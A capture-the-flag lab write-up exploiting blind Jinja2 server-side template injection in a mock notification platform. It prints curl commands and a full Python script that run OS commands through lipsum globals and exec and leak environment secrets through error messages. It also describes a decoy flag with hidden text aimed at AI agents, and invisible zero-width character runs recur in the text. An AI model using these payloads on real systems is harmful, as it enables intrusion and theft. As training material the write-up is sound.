← Back to Writeups
CUSTOMMediumWeb

Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine

XESXOR9/2/20264 min read
#web#custom#medium#blind_ssti_error_exfiltration#decoy_flag_recognition#rce_via_builtins_exec#rce_via_lipsum_globals#ssti_jinja2

Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_ssti_error_exfiltration, decoy_flag_recognition, rce_via_builtins_exec, rce_via_lipsum_globals, ssti_jinja2

Summary

Walkthrough of the CUSTOM Web Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine. Task: Flask/Jinja2 notification platform with template test-send feature that renders user input server-side but doesn't return output (blind SSTI). Solution: Error-based exfiltration using exec('rais

Description

PulseAlert is a notification orchestration platform built by PulseWave Technologies. The application lets teams manage multi-channel alerts (email, SMS, push), create custom notification templates, configure delivery channels, and monitor delivery logs. The platform features a template editor with a test-send capability, allowing users to verify their templates render correctly before going live. Templates support variable placeholders that get replaced with real data at send time. Goal: find a way to retrieve a secret flag stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/Jinja2 notification platform where users can create and test notification templates. The "Send Test" feature renders user-supplied template content server-side via Jinja2's render_template_string(), but the rendered output is sent to a delivery queue rather than returned to the user (blind SSTI). The goal is to exfiltrate a flag stored in a server environment variable.

Analysis

Application Structure

After logging in with user@test.com / password123, the application reveals: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Dashboard (/) — notification delivery overview
  • Templates (/templates) — template library with 10 templates (Welcome Email, Order Confirmation, etc.)
  • Channels (/channels) — delivery channels (Email SMTP, SMS Gateway via Twilio, Push via FCM)
  • Delivery Logs (/logs) — notification delivery status tracking
  • Settings (/settings) — profile, API key (pa_live_dcf0cbbae20088b20c525eaba47c1b2f)

Templates use {variable} placeholders like {user_name}, {email}, {company}, {order_id}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Surface

The template edit page (/templates/1/edit) has a "Send Test" button. JavaScript on the page POSTs to /api/templates/1/test with body and subject form fields. A comment in the JS explicitly states: "Template test — renders via server-side Jinja2 template engine and queues for delivery".

The response is JSON: {"message":"Test notification has been queued for delivery via email.","status":"success"} — the rendered output is NOT returned directly (blind SSTI).

Anti-Bot Decoy Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Every page contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and invisible divs with social engineering text trying to convince automated scanners and AI agents to stop. This is a honeypot — NOT the real flag.

Key Insight: Error Messages as Exfiltration Channel

When template rendering fails, the error message IS returned in the JSON response:

  • {{config}} → {"message":"'config' is undefined","status":"error"}

This means we can force errors that contain the data we want to exfiltrate. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Login

bash
curl -s -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123"

Step 2 — Confirm SSTI

bash
# Basic SSTI test — queued successfully means Jinja2 evaluated it
curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \
  --data-urlencode 'body={{7*7}}' \
  --data-urlencode 'subject=test'
# Response: {"message":"Test notification has been queued...","status":"success"}

Step 3 — Confirm RCE (Blind)

bash
# RCE via lipsum.__globals__["os"].popen()
curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \
  --data-urlencode 'body={{lipsum.__globals__["os"].popen("id").read()}}' \
  --data-urlencode 'subject=test'
# Response: success (output goes to delivery queue, not visible)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4 — Error-Based Exfiltration

The breakthrough technique: use exec("raise Exception(x)") to force an exception whose message contains the command output. The exception message is returned in the JSON error response.

Access chain:

  1. lipsum.__globals__["os"].popen(cmd).read() — execute OS command, capture output
  2. lipsum.__globals__["__builtins__"]["exec"]() — access Python's exec() function
  3. raise Exception(data) — force an error containing the exfiltrated data
bash
# Error-based exfiltration of environment variable
curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \
  --data-urlencode 'body={%set x=lipsum.__globals__["os"].popen("env | grep -i flag").read().strip()%}{{lipsum.__globals__["__builtins__"]["exec"]("raise Exception(x)", {"x":x})}}' \
  --data-urlencode 'subject=test'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"message":"FLAG=FLAG{REDACTED}","status":"error"}

Full Exploit Script

python
#!/usr/bin/env python3
"""Blind SSTI with error-based exfiltration on PulseAlert"""
import requests

TARGET = "https://44ce675e-c4d1-41e2-9452-39dfa9d22b85.labs.hackadvisor.io"

# Login
s = requests.Session()
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Blind SSTI payload with error-based exfiltration
# Uses exec("raise Exception(x)") to force error message containing output
payload = (
    '{%set x=lipsum.__globals__["os"].popen("env | grep -i flag").read().strip()%}'
    '{{lipsum.__globals__["__builtins__"]["exec"]("raise Exception(x)", {"x":x})}}'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

resp = s.post(f"{TARGET}/api/templates/1/test", data={
    "body": payload,
    "subject": "test"
})

data = resp.json()
print(f"Status: {data['status']}")
print(f"Message: {data['message']}")
# Output: FLAG=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering blind_ssti_error_exfiltration, decoy_flag_recognition, rce_via_builtins_exec, rce_via_lipsum_globals, ssti_jinja2 was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine • Difficulty: Medium